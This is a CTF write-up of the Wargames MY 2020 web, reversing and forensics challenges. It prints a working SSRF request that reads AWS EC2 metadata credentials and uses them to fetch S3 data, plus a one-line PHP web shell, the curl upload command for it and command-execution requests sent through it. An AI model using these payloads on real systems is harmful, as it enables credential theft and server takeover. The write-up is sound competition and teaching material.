# Wargames MY 2020
We finished 2nd place in the competition, and i would like to thank my teammate for a fun journey together.
For a full writeup (opens new window)
kaitorque's writeup (opens new window)
Member:
- h0j3n (LinkedIn (opens new window), Github (opens new window), Twitter (opens new window))
- kaitorque (LinkedIn (opens new window), Github (opens new window), Twitter (opens new window))
# Category : Web
# DankDebrid
host dankdebrid.wargames.my
dankdebrid.wargames.my has address 3.93.201.11
We can confirm that this server is running by aws ec2, using nslookup
. This is quite useful since we can narrow down our scope and try to focus on AWS penetration testing later on.
nslookup 3.93.201.11
11.201.93.3.in-addr.arpa name = ec2-3-93-201-11.compute-1.amazonaws.com.
Authoritative answers can be found from:
Continuing with our enumerations, up next of course, directory scanning to take a look what directories that the server has to offer to us.
dirsearch -u http://dankdebrid.wargames.my -e jsp,js
_|. _ _ _ _ _ _|_ v0.4.0
(_||| _) (/_(_|| (_| )
Extensions: js, jsp | HTTP method: GET | Threads: 20 | Wordlist size: 7626
Error Log: /opt/dirsearch/logs/errors-20-12-06_22-06-16.log
Target: http://dankdebrid.wargames.my/
Output File: /opt/dirsearch/reports/dankdebrid.wargames.my/_20-12-06_22-06-17.txt
[22:06:17] Starting:
[22:06:26] 403 - 564B - //.htaccess.bak1
[22:06:26] 403 - 564B - //.htaccess.sample
[22:06:26] 403 - 564B - //.htaccess.save
[22:06:26] 403 - 564B - //.htaccess.orig
[22:06:26] 403 - 564B - //.htaccessBAK
[22:06:26] 403 - 564B - //.htaccessOLD
[22:06:26] 403 - 564B - //.html
[22:06:26] 403 - 564B - //.htaccessOLD2
[22:06:26] 403 - 564B - //.htm
[22:06:26] 403 - 564B - //.httr-oauth
[22:06:37] 200 - 0B - //Admin.jsp
[22:06:51] 200 - 0B - //admin.jsp
[22:06:51] 403 - 564B - //admin/.htaccess
[22:07:01] 403 - 564B - //administrator/.htaccess
[22:07:05] 403 - 564B - //app/.htaccess
[22:07:16] 302 - 2B - //dashboard.jsp -> error.jsp
[22:07:21] 200 - 25B - //error.jsp
[22:07:24] 200 - 122KB - //favicon.ico
[22:07:27] 200 - 0B - //includes/
[22:07:27] 301 - 178B - //includes -> http://dankdebrid.wargames.my/includes/
[22:07:28] 200 - 2KB - //index.jsp
[22:07:28] 200 - 4B - //index.html
[22:07:32] 200 - 0B - //log.jsp
[22:07:33] 200 - 0B - //login.jsp
[22:07:48] 200 - 0B - //register.jsp
[22:07:55] 301 - 178B - //style -> http://dankdebrid.wargames.my/style/
[22:07:57] 301 - 178B - //test -> http://dankdebrid.wargames.my/test/
[22:07:57] 403 - 564B - //test/
Task Completed
If we go to /index.jsp
we are greeted by a homepage
Try to login into the system, and check the response on burp we get
We also got some hint in the bottom of the response
If we take a look carefully, we can see <form>
in the response, we can see that there is a functionality that allow us to download video from a inputted url. Its a nice feature but this is however could lead to P2
severity bug according to bugcrowd's (opens new window) VRT. Take note on that so we can craft our request for the exploit.
<form action="transfer-download.jsp" method="post">
<div class="form_settings">
<p><span>URL</span><input class="contact" type="text" maxlength="150" placeholder="https://example.com/movie.mp4" name="transferURL" /></p>
<p style="padding-top: 15px"><span> </span><input class="submit" type="submit" name="submit_URL" value="Download" /></p>
</div>
</form>
Before we go further on our crafted exploit, let us understand how it works.
# Server Side Request Forgery (SSRF)
SSRF is a web security vulnerability that allows an attacker to make a request into the internal host/file in the infrastructure. For example, assume that you have a local REST API
in your local network and you didnt expose it to the internet, however, your server that you exposed on the internet able to hit any of your endpoint internally. Successful SSRF can able to make request to your internal endpoint and perform unwanted actions or even arbitrary command.
Some useful report related to SSRF:
Now that is out of the way, lets craft our payload.
Since we know that we are dealing with AWS service EC2, we can be sure that there are internal metadata and user data instance internally. Here AWS Documentation (opens new window) that explains more detailed on that matter.
Our malicious request would look like this.
POST /transfer-download.jsp HTTP/1.1
Host: dankdebrid.wargames.my
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://dankdebrid.wargames.my
Connection: close
Referer: http://dankdebrid.wargames.my/index.jsp
Cookie: __cfduid=d98ce4e7fe91a48f90f317f5481bc2bf21607097641
Upgrade-Insecure-Requests: 1
transferURL=http://2852039166//latest/meta-data/iam/security-credentials/&submit_URL=Download
In the burp response, we get something like this
<div class="accordion_child">
<p>s3_readonly_wgmy2020</p>
</div>
Now that we know their security-credentials, we can expand our payload into this:
POST /transfer-download.jsp HTTP/1.1
Host: dankdebrid.wargames.my
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://dankdebrid.wargames.my
Connection: close
Referer: http://dankdebrid.wargames.my/index.jsp
Cookie: __cfduid=d98ce4e7fe91a48f90f317f5481bc2bf21607097641
Upgrade-Insecure-Requests: 1
transferURL=http://2852039166//latest/meta-data/iam/security-credentials/s3_readonly_wgmy2020&submit_URL=Download
Looking at the response, now we have AccessKeyId
and SecretAccessKey
to leverage our exploitation.
{
"Code" : "Success",
"LastUpdated" : "2020-12-06T12:12:25Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "<REDACTED>",
"SecretAccessKey" : "<REDACTED",
"Token" : "<REDACTED>",
"Expiration" : "2020-12-06T18:31:00Z"
}
We can now access to their assets using theses two fruits by using aws-cli
in our terminal. But first we need to tell aws-cli
that we want to access to their assets, hence, those two keys come to play.
aws configure
AWS Access Key ID [****************34OX]: <REDACTED>
AWS Secret Access Key [****************p2gy]: <REDACTED>
Default region name [ap-southeast-1]:
Default output format [json]:
Now, initially we did not know which region is the server hosted in AWS, but that would not be such a problem since we can refer to aws region list (opens new window). We could try it one by one but knowing that wargames is hosted in Malaysia, a Singapore serverap-southeast-1
is the most reasonable choice to go.
As we mentioned above on the little hint that the organizer gave us, we can straightup retrieve the file with aws-cli
command
aws s3 cp s3://wgmy2020-1/secret.txt ./
Finally, we got the flag
wgmy{fce704324cced786680972eeafd406da}
# Jika Kau Fikirkan Kau Boleh
We starting this challenge by enumerating directory, as a result, we get:
GET 200 OK http://s.wargames.my:20041/
GET 403 Forbidden http://s.wargames.my:20041/.html
GET 403 Forbidden http://s.wargames.my:20041/.hta.php
GET 403 Forbidden http://s.wargames.my:20041/.hta.html
GET 403 Forbidden http://s.wargames.my:20041/.hta.txt
GET 403 Forbidden http://s.wargames.my:20041/.htaccess
GET 403 Forbidden http://s.wargames.my:20041/.htaccess.php
GET 403 Forbidden http://s.wargames.my:20041/.htaccess.html
GET 403 Forbidden http://s.wargames.my:20041/.htpasswd
GET 403 Forbidden http://s.wargames.my:20041/.htaccess.txt
GET 403 Forbidden http://s.wargames.my:20041/.htpasswd.txt
GET 403 Forbidden http://s.wargames.my:20041/.htpasswd.html
GET 403 Forbidden http://s.wargames.my:20041/.htpasswd.php
GET 403 Forbidden http://s.wargames.my:20041/.hta
GET 301 Moved Permanently http://s.wargames.my:20041/flag
=> http://s.wargames.my/flag/
GET 200 OK http://s.wargames.my:20041/index.php
GET 200 OK http://s.wargames.my:20041/index.php
GET 200 OK http://s.wargames.my:20041/phpinfo.php
GET 200 OK http://s.wargames.my:20041/phpinfo.php
GET 200 OK http://s.wargames.my:20041/robots.txt
GET 200 OK http://s.wargames.my:20041/robots.txt
GET 403 Forbidden http://s.wargames.my:20041/server-status
GET 301 Moved Permanently http://s.wargames.my:20041/uploads
=> http://s.wargames.my/uploads/
By using curl
to on http://s.wargames.my:20041/uploads
, we can view its source code on how the upload function is mounted
//GET LANG CODE [164/464]
var pageRequest = window.location.search;
var img = pageRequest.substring(pageRequest.indexOf("&p=")+3,pageRequest.length);
var getid = pageRequest.substring(pageRequest.indexOf("?id=")+4,pageRequest.indexOf("&p="));
if(img != ""){
if(img.indexOf(".pdf") > -1){
if(screen.width >= 720){
$("#preview").html('<iframe id="pdf_preview" src="'+img+'" allowtransparency="true" frameborder="0" allowfullscreen></iframe>');
}else{
$("#preview").html('You\'ve uploaded a PDF file. Please click <a href="'+img+'" target="_blank">here</a> to view it.');
}
}else{
$("#preview").html('<img src="" id="pre_view" name="pre_view">');
$("#pre_view").attr('src',''+img);
$('#pre_view').shadow('raised');
}
/*$("#confirm_button").val('Change');
$("#back_button").val('No Change');*/
}else{
$("#preview").html('<img src="" id="pre_view" name="pre_view">');
$("#pre_view").attr('src','http://placehold.it/640x480&text=No Image/PDF available');
$("#confirm_button").val('Upload');
$("#back_button").val('Cancel');
}
if (self != parent && window.postMessage) {
$(window).on('load', function() {
var targetHost = 'http://localhost',
updateInt = 250,
containerId = 'box1',
container = document.getElementById(containerId),
targetWin = parent;
if (container) {
setInterval(function () {
targetWin.postMessage(container.offsetHeight, targetHost);
}, updateInt);
}
});
}
We can use curl to upload remote code execution(rce) request
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
curl --location --request POST 'http://s.wargames.my:20041/uploads/upload.php?t=s3ns3.php' \
--form 'q=@"/Users/s3ns3/Downloads/s3ns3.php"'
and the response:
<script language="javascript">
var targetHost = "http://localhost";
window.parent.postMessage("upload_ready", targetHost);
</script>{"files":["sukahatila\/s3ns3.php"]}
Success! Now we can do fun stuff in burp
Great! We have remote code execution now. We can try to spawn out reverse shell but navigating through burp is easier plus we were lazy that time.
Next, if we ls
in the /
directory we can see file called start.sh
, and if we look into that file, we get:
#!/bin/bash
redis-server --daemonize yes
KEY=`head /dev/urandom | tr -dc A-Za-z0-9 | head -c 13`
FLAG=`cat /flag`
redis-cli set $KEY "$FLAG"
echo "Hey I just met you, this is crazy, but this is not the flag, really :)" > /flag
/usr/sbin/apache2ctl -D FOREGROUND
The script means that the key
was randomly generated to store into the redis database and our flag is store within it. So, to obtain the flag we need the key
first.
By running a command redis-cli KEYS *
we could get all list of keys in the redis database.
GET /uploads/sukahatila/s3ns3.php?cmd=redis-cli+KEYS+'*' HTTP/1.1
Host: 178.62.233.224:31337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
as of the response, we get:
xbAhcqH4thzpk
Now, we can simply get the key
data to obtain the flag:
GET /uploads/sukahatila/s3ns3.php?cmd=redis-cli+GET+'xbAhcqH4thzpk' HTTP/1.1
Host: 178.62.233.224:31337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
wgmy{9fdfa2a48a1aa104166faa4026c61eb2}
# Category: RE
# Babyrev
For this reversing challenge, we decompile it using Ghidra, we got a block of code like this.
We can get the value inside SHUFFLE just double click the variable.
We also can get the value of Xor
If we take a look at the code below, we can see that ss which after rename and get from the input after XOR and change by SHIFT are compare with 159 because it specifies 3 which could mean substr("abcdefg","abc***",3). Which means it will compare with the index 27 with 159.
So probably our password would look like this.
***************************159**
So we need a script that can make the cross-reference for us to compare the previous and new output.
For the exploit, we made 2 scripts to compare. One is doing it manually, the latter is automated
Manual
SHUFFLE = [0x7, 0x4, 0x15, 0x12, 0x1D, 0x13, 0x1B, 0x8, 0x1F, 0x16, 0x0F, 0x6, 0x0A, 0x19, 0x18, 0x11, 0x1, 0x3, 0x2, 0x17, 0x0D, 0x14, 0x5, 0x0, 0x0C,0x1C, 0x0B, 0x1A, 0x0E, 0x1E, 0x9, 0x10]
XOR = [0x56,0x6,0x6,0x1,0x9,0x52,0x6,0x3,0x51,0x4,0x57,0x7,0x52,0x7,0x50,0x6,0x6,0x6,0x7,0x54,0x57,0x56,0x2,0x55,0x6,0x1,0x52,0x53,0x54,0xf,0x54,0x3]
# cprM&Dj s'`9})tDbd,9#d kB>159>r
# cpr0&7j s'`9})tDbd,9#d k4>159>r
# cpr0&7j s'`9}dtD6d,9#5 k4>159>r
# cpr0&7j sa`9}dtD6d,9c5 b4>159>r
# cer0&7j sa`9}2tD6d,9c5 b4>1595r
# cer0&7j sa`9}2tc6d,ec5 b4>15:5r
s = 'Zec0e7ghiakld2a6qrst5cwxbzb1595E'
#s = ' a b 6'
ss = [''] * 32
for i in range(len(s)):
ss[i] = s[SHUFFLE[i]]
ss[i] = chr(ord(ss[i]) ^ XOR[i])
print(''.join(ss))
Automated
SHUFFLE = [0x7, 0x4, 0x15, 0x12, 0x1D, 0x13, 0x1B, 0x8, 0x1F, 0x16, 0x0F, 0x6, 0x0A, 0x19, 0x18, 0x11, 0x1, 0x3, 0x2, 0x17, 0x0D, 0x14, 0x5, 0x0, 0x0C,0x1C, 0x0B, 0x1A, 0x0E, 0x1E, 0x9, 0x10]
XOR = [0x56,0x6,0x6,0x1,0x9,0x52,0x6,0x3,0x51,0x4,0x57,0x7,0x52,0x7,0x50,0x6,0x6,0x6,0x7,0x54,0x57,0x56,0x2,0x55,0x6,0x1,0x52,0x53,0x54,0xf,0x54,0x3]
s=list('1234067890qwerayuiopasdfg4b1596c')
prev=list('n3un0"7:2`.0#o7o4242%74dc4%159dv')
ss=[''] * 32
while s != ss:
for i in range(len(s)):
ss[i] = s[SHUFFLE[i]]
ss[i] = chr(ord(ss[i]) ^ XOR[i])
for i in range(len(ss)):
if prev == ss:
print(prev)
print(ss)
print('s:', ''.join(s))
s = ss
break
if prev[i] != ss[i]:
print(i,prev[i], ss[i])
s[i] = ss[i]
print()
prev = list(ss)
print(''.join(s))
Looking at the script. We need to update the previous list after we generate new output. The initial list does not matter as long as after first output, 159
is exist in those last digits.
We are not fully understand how it really works, so after some time doing it manually. The output that produced seems repetitive.
76420dpabbe073a20436d2fb14b15963
76420d7abbew73a20436d2fb14b15963
76420d7abbe073a20436d2fb14%15963
76420d7abbe073a20436d2fb14bv5963
We tried submitting all of this but all was wrong. But after carefully check the difference between those four, the third flag is correct one after we changed %
to b
and the flag was wgmy{76420d7abbe073a20436d2fb14b15963}
# Category: Forensic — Lord Kiske’s Server
# Introduction
Download the ova file and we write a simple python script to get the SHA256
of lordkiske-server.ova
import hashlib
with open('lordkiske-server.ova', 'rb') as f:
bytes = f.read()
readable_hash = hashlib.sha256(bytes).hexdigest()
print('wgmy{' + readable_hash + '}')
Flag is wgmy{c4ea7f5c3a23990844ea6518c02740c66c4c8a605314f3bd9038f7ebfa7b9911}
# [Analysis] Attacker’s IP Address
Once we have the ova , we tried to open using Oracle Virtual Box and it works! Since the challenge asking for the attacker’s IP Address. First, we can see that all files are encrypted with .durian
extension in /var/www/html
Let’s check any PHP files that are note encrypted maybe that we can find something.
find /var/www/html/ -type f -iname "*.php" 2>/dev/null
We tried to grep anyone who trying to reach one of these files in /var/log/apache2/acccess.log
and found the attacker's IP.
cat /var/log/apache2/access.log | grep -E "we.php|b404.php|musangkeng.php"
Go to CyberChef and encrypt IP 172.128.31.78
to MD5 hash. And the flag is wgmy{0941b6865b5c056c9bbb0825e1beb8e9}
# [Analysis] Hash of Webshell
Since we have found several files without .durian
extension in /var/www/html/wp-content/uploads/
. One of these surely is the web shell. Since the file we.php
starts with character w
, we assume that this is the web shell.
To reduce the scope, we check again /var/log/apache2/access
.log and see that the attacker first trying to POST
and GET
the file like below.
Calculate the sha1sum of we.php
and wrap with wgmy{} we get the flag wgmy{96894e24bf860dd85fbdcc7fbfbad203108489d1}
# [Analysis] Path of Webshell
We have the path and the filename already, so just go to Cyberchef and encrypt /var/wwww/html/wp-content/uploads/we.php
to MD5.
and we got the flag wgmy{cc93f2436a9fdc6f19c1fa8bd865f8f3}
# [Analysis] Hash of Ransomware
The file b404.php
is encoded with base64. Remove all of the php tags and get only the base64. Use the command below to decode.
cat b404.php | tr "\n" " " | sed 's/ //g' | base64 -d
We can see the php
code that the attacker used to encrypt all of the victim’s files. Thus, this is the ransomware used by the attacker.
Calculate the sha1sum of b404.php
and wrap with wgmy{} we get wgmy{ba235cdbd9eb05082aa6e15cec762465884256f9}
# [Analysis] Location of ransomware
We have the path and the filename already so just go to Cyberchef and encrypt /var/www/html/wp-content/uploads/b404.php
to MD5.
and we got the flag wgmy{86051201744543abeda8b8efd0933e98}
# [Analysis] CnC Hostname
We can try to check deep inside the b404.php
and found out one of the POST request has been made to musangkeng.wargames.my
Encrypt musangkeng.wargames.my
to MD5 and wrap with wgmy{} we get the flag wgmy{d7357e55e21847601d4eacb01fe13313}